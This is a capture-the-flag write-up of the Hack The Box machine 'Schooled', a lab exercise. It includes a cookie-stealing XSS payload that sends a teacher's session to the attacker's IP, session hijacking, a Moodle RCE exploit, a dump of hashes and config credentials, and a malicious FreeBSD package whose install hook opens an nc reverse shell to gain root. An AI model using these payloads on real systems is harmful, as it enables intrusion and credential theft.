Link: https://app.hackthebox.eu/machines/Schooled
Enumeration

Our nmap scan reveals we have two open services, OpenSSH 7.9 and Apache 2.4.46. We aslo get a PHP version of 7.4.15 and the OS is suspected to be FreeBSD, a Unix-like system.
Doing a vulnerability search: OpenSSH 7.9 has no open vulnerabilities as of now and neither do Apache httpd 2.4.46 nor PHP 7.4.15.
I did perform a full port scan as well and also found port 33060 open. nmap has issues detecting the service, it believes it is mysqlx.
Web Server
Preliminary findings show we have four pages: /index.html, /about.html, /teachers.html and /contact.html

Our gobuster scan reveals asset directories, all of which have directory indexing on so we can view the files.

Nikto revealsmuch of the same, as well as an additional HTTP TRACE method vulnerability.
The /contact.html webpage has an action to submit to a /contact.php, yet actually trying to submit the form results in a 404 error. I noticed in the footer of the page, under contact details, schooled.htb as the domain. I modified my hosts file to reflect this to see if we have any change, but it appears there is no difference.
Viewing the source for all four pages also does not seem to reveal much.
MySQL X
This StackOverflow post reveals that port 33060 is used for MySQL x protocol. This additional protocol allows us to use the X DevAPI with .NET language to developer apps.
I used snap install mysql-shell to install mysqlsh onto Kali, then using this command, we can start a session.

Unfortunately, our root account is not using the default root with no password, so we cannot gain access.
SSH
I tried connecting to SSH and it requires either a publickey or keyboard-interactive authentication:

Further Enumeration
It tripped me up a little bit because from our initial enumeration, things look pretty good. We know they have an MySQLx port open and SSH open, but both require credentials that I have yet to discover. The webserver states it has PHP running, yet running a gobuster scan for any PHP files returned nothing, it just appears to be a standard bootstrap HTML template. I ran an additional scan for any files using the .ini, .php, .conf, .txt files in our current directory but come across no results.
Reading through the website, we can see references to a chat application named moodle, this seems to be where the actual learning takes place. I attempted to navigate to moodle.schooled.htb, but that did not seem to work.
I used cewl to generate wordlists for each of the four pages. I tried running these wordlists through both gobuster dns for subdomain enumeration and gobuster dir for directory enumeration, but I still had no matches.
Finally, I realized the reason the subdomains were not being found was because my /etc/hosts file only had a single record for schooled.htb. I added moodle.schooled.htb and voila! We do have a moodle installation on the subdirectory! Now we can investigate this new application
Moodle
After configuring our /etc/hosts file and accessing http://moodle.schooled.htb, we first come to a page with four available courses for each of the teachers we saw on /teachers. We have the option to register an account, login, and login as guest.
As a guest, we cannot actually access any user profiles or courses. I created a new account as such:
bsmith
Passw0rd!
[email protected]
Bob
Smith
Now with an account, it immediately allows us to click Continue to verify without needing to click a verification link via email. This appears to be CVE-2021-20282, “When creating a user account, it was possible to verify the account without having access to the verification email link/secret in moodle before 3.10.2, 3.9.5, 3.8.8, 3.5.17.”
This can help narrow down which possible version of moodle we may have.
The only course that allows self enrollment is Mathematics with Manuel Phillips. Just out of curiosity, I enrolled in said course and we have some announcements from the teacher. One of which says we must have our “MoodleNet” profile set otherwise we will be removed. It says he will be checking all students. As this is a box and not a real class, I do not know if there is a script running to check that field or if it will not do anything. That is something we can followup on.
File Upload
Checking our our profile page, we can edit the profile and upload a user picture. It says the available file types are .gif, .jpe, .jpeg, .jpg, .png, .svg, .svgz. Also we only have a max file size of 2MB. I am going to attempt to upload something other than the accepted file types first to see how strict the import tool actually is.
I attempted to use a PHP web shell using the extensions php, php3, php4, php5, phtml, but none of them were accepted.
I was able to upload a file named Simple-Webshell.php.jpg and then remove the jpg extension after the fact. However all moodle seems to let us do is just download or delete the file. Trying to access it via a link also just immediately fires a download.
Insecure Object Reference
The URL http://moodle.schooled.htb/moodle/user/profile.php?id= provides insecure object reference, we can increment the ID to get the info on other users.
We can get some emails of users such as:
[email protected]
[email protected]
I am user 28, so there are at least 20+ users in the system. Some IDs return “The details of this user are not available to you” which leads me to believe the user account was deleted.
There is an exploit for Moodle 3.9 that requires teacher authentication to use, but would allow Remote Code Execution. We know the password must be at least 8 characters with 1 lowercase letter, 1 uppercase letter and 1 symbol.
Further searches indicate there is a vulnerability using the message board to hijack other accounts, see here. And also a YouTube video, here.
I started a netcat listener and crafted my own test to see if the ‘teacher’ account will actually go out to my profile page.
It turns out the MoodleNet profile field is subject to XSS, so I pasted the following in the field:
<script>fetch('http://10.10.14.138:4444/?cookie=' + encodeURI(document.cookie));</script>
Now I unenrolled and then renrolled in the course. Upon re-enrolling, I got a hit!

By copying the MoodleSession cookie of kohjhb26n038vhdkkg1e36muls, I now have teacher access! Now let’s attempt the RCE exploit from above:
python3 50180.py http://moodle.schooled.htb/moodle --cookie kohjhb26n038vhdkkg1e36muls
The script ran, upgraded my permissions and then ran a simple whoami command.
We can now see moodle is running Moodle 3.9 (Build: 20200615)
I tried changing the command to get a reverse shell but it didn’t work. I still have access to the session, so I will upload my own using the template block here. I navigated to Site administration > Plugins > Install plugins
Initial Foothold
With our shell executed, it took some time to figure out the apache files are in /usr/local/www/apache24 on FreeBSD. I found a configuration file for moodle that has the MySQL credentials as moodle / PlaybookMaster2020. We can also see two user accounts, jamie and steve.
If we can get into the MySQL database and grab the password hash for either jamie or steve, we might be able to log in via ssh. From this link, I can see the mysql file in /usr/local/bin/mysql:
/usr/local/bin/mysql -u moodle -p moodle
Enter Password: PlaybookMaster2020
Running show tables; shows the prefix of our tables is mdl_ so per the documentation, the table we need is mdl_user.
I ran a select * statement, but my screen overloaded with information. The information we need is:
select username, password, email from mdl_user
username password email
guest $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2 root@localhost
admin $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW [email protected]
bell_oliver89 $2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK [email protected]
orchid_sheila89 $2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC [email protected]
chard_ellzabeth89 $2y$10$D0Hu9XehYbTxNsf/uZrxXeRp/6pmT1/6A.Q2CZhbR26lCPtf68wUC [email protected]
morris_jake89 $2y$10$UieCKjut2IMiglWqRCkSzerF.8AnR8NtOLFmDUcQa90lair7LndRy [email protected]
heel_james89 $2y$10$sjk.jJKsfnLG4r5rYytMge4sJWj4ZY8xeWRIrepPJ8oWlynRc9Eim [email protected]
nash_michael89 $2y$10$yShrS/zCD1Uoy0JMZPCDB.saWGsPUrPyQZ4eAS50jGZUp8zsqF8tu [email protected]
singh_rakesh89 $2y$10$Yd52KrjMGJwPUeDQRU7wNu6xjTMobTWq3eEzMWeA2KsfAPAcHSUPu [email protected]
taint_marcus89 $2y$10$kFO4L15Elng2Z2R4cCkbdOHyh5rKwnG4csQ0gWUeu2bJGt4Mxswoa [email protected]
walls_shaun89 $2y$10$EDXwQZ9Dp6UNHjAF.ZXY2uKV5NBjNBiLx/WnwHiQ87Dk90yZHf3ga [email protected]
smith_john89 $2y$10$YRdwHxfstP0on0Yzd2jkNe/YE/9PDv/YC2aVtC97mz5RZnqsZ/5Em [email protected]
white_jack89 $2y$10$PRy8LErZpSKT7YuSxlWntOWK/5LmSEPYLafDd13Nv36MxlT5yOZqK [email protected]
travis_carl89 $2y$10$VO/MiMUhZGoZmWiY7jQxz.Gu8xeThHXCczYB0nYsZr7J5PZ95gj9S [email protected]
mac_amy89 $2y$10$PgOU/KKquLGxowyzPCUsi.QRTUIrPETU7q1DEDv2Dt.xAjPlTGK3i [email protected]
james_boris89 $2y$10$N4hGccQNNM9oWJOm2uy1LuN50EtVcba/1MgsQ9P/hcwErzAYUtzWq [email protected]
pierce_allan $2y$10$ia9fKz9.arKUUBbaGo2FM.b7n/QU1WDAFRafgD6j7uXtzQxLyR3Zy [email protected]
henry_william89 $2y$10$qj67d57dL/XzjCgE0qD1i.ION66fK0TgwCFou9yT6jbR7pFRXHmIu [email protected]
harper_zoe89 $2y$10$mnYTPvYjDwQtQuZ9etlFmeiuIqTiYxVYkmruFIh4rWFkC3V1Y0zPy [email protected]
wright_travis89 $2y$10$XFE/IKSMPg21lenhEfUoVemf4OrtLEL6w2kLIJdYceOOivRB7wnpm [email protected]
allen_matthew89 $2y$10$kFYnbkwG.vqrorLlAz6hT.p0RqvBwZK2kiHT9v3SHGa8XTCKbwTZq [email protected]
sanders_wallis89 $2y$10$br9VzK6V17zJttyB8jK9Tub/1l2h7mgX1E3qcUbLL.GY.JtIBDG5u [email protected]
higgins_jane $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2 [email protected]
phillips_manuel $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG [email protected]
carter_lianne $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe [email protected]
parker_dan89 $2y$10$MYvrCS5ykPXX0pjVuCGZOOPxgj.fiQAZXyufW5itreQEc2IB2.OSi [email protected]
parker_tim89 $2y$10$YCYp8F91YdvY2QCg3Cl5r.jzYxMwkwEm/QBGYIs.apyeCeRD7OD6S [email protected]
bsmith $2y$10$MlkzJkmZkZ5kGg4zYGFTreo4XObMK9InBRPVItnX0Zy8b0iLNwT0a [email protected]
We know that one of the users on the box is jamie so the admin hash is one I want to crack. I saved it to admin_hash and ran
john admin_hash -w=/usr/share/wordlists/rockyou.txt

john comes back and gives us the credentials for jamie, so let’s login!
From www to jamie
Now that we have an actual account to play with, the first thing I did was check what we can run as sudo.
jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *
This is something I have not seen before. It appears our use account has the ability to install packages as root.
Attempting to run pkg update nets us with an error that just hangs the shell:
jamie@Schooled:~ $ sudo pkg update
Updating FreeBSD repository catalogue…
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
I found a blog post where we can create our own FreeBSD packages. The goal seems to be that we need to make our own package that either calls a reverse shell as root or just grants us /bin/bash as root.
I copied all of the commands (besides dependencies) into a build.sh:
!/bin/sh
STAGEDIR=/tmp/stage
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
cat >> ${STAGEDIR}/+PRE_DEINSTALL <<EOF
careful here, this may clobber your system
echo "Resetting root shell"
EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
careful here, this may clobber your system
echo "Registering root shell"
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.138 4445 >/tmp/f
EOF
cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: pwn
version: "1.0"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: [email protected]
www: https://doe.it
prefix: /
EOF
mkdir -p ${STAGEDIR}/usr/local/etc
echo "# hello world" > ${STAGEDIR}/usr/local/etc/pwn.conf
echo "/usr/local/etc/pwn.conf" > ${STAGEDIR}/plist
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .
Notice the reverse shell in the POST_INSTALL. If we try to install it normally the shell will hang again. I ran pkg help install and we can use sudo pkg install --no-repo-update pwn-1.0.txz to install!
Root!
Now our nc listener will light up and a whoami shows we are root! Now all we need to do is grab the flag!